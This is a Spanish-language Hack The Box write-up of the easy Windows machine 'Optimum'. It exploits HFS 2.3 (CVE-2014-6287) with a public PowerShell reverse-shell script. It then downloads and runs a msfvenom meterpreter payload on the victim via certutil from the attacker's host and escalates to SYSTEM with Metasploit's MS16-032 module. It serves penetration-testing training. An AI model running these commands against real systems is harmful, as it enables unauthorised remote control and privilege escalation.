Optimmum
Hack The Box — Metodología Detallada
Optimmum
| IP: | 10.129.26.196 |
| OS: | Windows |
| Dificultad: | Easy |
| Fecha: | 11 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.26.196 -oG allPorts
# Output
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Se identificó un único puerto abierto, el puerto 80 (HTTP), siendo el servicio web el único vector de ataque disponible en esta máquina.
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Hallazgo: el escaneo de versiones identificó HFS (HTTP File Server) 2.3 de Rejetto. Se investigó la versión y se confirmó que es vulnerable al CVE-2014-6287, una vulnerabilidad de Remote Code Execution sin autenticación.
El CVE-2014-6287 afecta cómo HFS procesa las peticiones HTTP —
específicamente el manejo de la secuencia de caracteres nulos (%00) en
los parámetros de búsqueda. Un atacante puede inyectar comandos
directamente en la URL que HFS ejecuta en el sistema operativo sin
ningún tipo de validación.
Se accedió a la página principal para observar el estado del servidor antes de lanzar el ataque:

Se buscó el exploit disponible en searchsploit:
searchsploit httpfileserver
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
| windows/webapps/49125.py
searchsploit -m windows/remote/49584.py
Exploit: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
URL: https://www.exploit-db.com/exploits/49584
Codes: CVE-2014-6287
Explotación
Preparación del exploit
Se descargó el exploit 49584.py y se revisaron las variables
configurables en las líneas 19-22:
lhost = "10.10.10.1" # IP del atacante (hardcodeada)
lport = 1111 # Puerto del listener
rhost = "10.10.10.8" # IP del objetivo (hardcodeada)
rport = 80
El exploit utiliza PowerShell para crear una reverse shell TCP —
codifica el comando en Base64 con UTF-16LE y lo envía embebido en una
petición HTTP GET con el parámetro de búsqueda malicioso:
/?search=%00{.exec|powershell.exe -EncodedCommand ...}
Se modificaron las variables con los datos correctos y se ejecutó el exploit:
Intento fallido — IP incorrecta
lhost = "10.10.10.163" # Error: IP incorrecta
lport = 4444
rhost = "10.129.26.196"
rport = 80
python3 49584.py
Listening on 0.0.0.0 4444
whoami
(sin respuesta)
Por qué no funcionó: se cometió un error tipográfico en lhost —
se puso 10.10.10.163 en lugar de 10.10.15.163. El payload de
PowerShell estableció la conexión hacia una IP incorrecta, por lo que el
listener nunca recibió la shell.
Explotación exitosa
Se corrigió la IP y se relanzó el exploit:
lhost = "10.10.15.163"
lport = 4444
rhost = "10.129.26.196"
rport = 80
python3 49584.py
Encoded the command in base64 format...
Encoded the payload and sent a HTTP GET request to the target...
Listening on 0.0.0.0 4444
Connection received on 10.129.26.196 49162
PS C:\Users\kostas\Desktop> whoami
optimum\kostas
Resultado: se obtuvo una shell PowerShell interactiva como el
usuario optimum\kostas.
Obtención de la flag de usuario
PS C:\Users\kostas\Desktop> type user.txt
[flag de usuario obtenida]
Escalada de Privilegios
Enumeración de privilegios
PS C:\Users\kostas\Desktop> whoami /priv
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Users\kostas\Desktop> systeminfo
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
System Type: x64-based PC
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936 ... [31]: KB3014442
Hallazgo: a diferencia de todas las máquinas Windows anteriores, el
usuario kostas no tiene SeImpersonatePrivilege. Esto descarta
JuicyPotato, Churrasco y cualquier herramienta basada en token
impersonation. El vector de escalada deberá ser un kernel exploit o
un bypass de UAC.
Identificación del exploit vía local exploit suggester
Para obtener una sesión de Meterpreter y ejecutar el suggester, se generó un payload x64 y se descargó desde la shell de PowerShell:
# En el atacante:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163
LPORT=5555 -f exe -o shell.exe
# En la victima:
PS C:\Users\kostas\Desktop> certutil -urlcache -split -f
http://10.10.15.163:8080/shell.exe shell.exe
PS C:\Users\kostas\Desktop> .\shell.exe
Con la sesión de Meterpreter activa se ejecutó el módulo de reconocimiento de exploits locales:
meterpreter > run post/multi/recon/local_exploit_suggester
[+] exploit/windows/local/bypassuac_eventvwr: vulnerable
[+] exploit/windows/local/bypassuac_sdclt: vulnerable
[+] exploit/windows/local/cve_2019_1458_wizardopium: vulnerable
[+] exploit/windows/local/ms16_032_secondary_logon_handle_privesc: vulnerable
Se seleccionó MS16-032 (ms16_032_secondary_logon_handle_privesc)
como vector de escalada, al ser el más conocido y confiable para Windows
Server 2012 R2 x64.
Escalada con MS16-032
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST 10.10.15.163
set LPORT 6666
run
[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Obtención de la flag root
C:\Users\Administrator\Desktop> type root.txt
[flag de root obtenida]
Reflexión Final
Qué salió bien
-
Se identificó HFS 2.3 y el CVE-2014-6287 de forma rápida mediante el banner del servidor.
-
El uso de
local_exploit_suggesterpermitió identificar el vector correcto de escalada sin necesidad de investigación manual extensa. -
La selección de MS16-032 fue correcta e inmediata al ser el exploit más confiable del listado para Windows Server 2012 R2.
Qué salió mal o costó más
- Se cometió un error tipográfico en
lhost(10.10.10.163en lugar de10.10.15.163) que hizo que el primer intento no llegara la shell. Es importante verificar las IPs antes de ejecutar el exploit.
Lecciones aprendidas
-
HFS (HTTP File Server) expone su versión directamente en el header
Serverde la respuesta HTTP. Con la versión identificada basta con buscar en searchsploit para encontrar el CVE. -
El exploit
49584.pyusa PowerShell con comando codificado en Base64 (UTF-16LE) para evadir restricciones de ejecución. Es una técnica estándar para ejecutar comandos PowerShell en contextos restringidos. -
Cuando un usuario Windows no tiene SeImpersonatePrivilege, las herramientas Potato y Churrasco no aplican. El módulo
post/multi/recon/local_exploit_suggesteres la forma más eficiente de identificar el vector correcto de escalada en estos casos. -
MS16-032 (CVE-2016-0099) afecta al servicio Secondary Logon de Windows. Permite a un usuario sin privilegios escalar a SYSTEM en Windows 7 hasta Server 2016 cuando el servicio Secondary Logon está activo y el sistema tiene más de un núcleo de CPU.
-
Siempre verificar la IP del atacante (
lhost) antes de ejecutar un exploit — un error tipográfico en este campo hace que el payload se conecte a una IP incorrecta y la shell nunca llega al listener.
Tiempo total
Tiempo total invertido en la resolución de la máquina: aproximadamente 1 hora.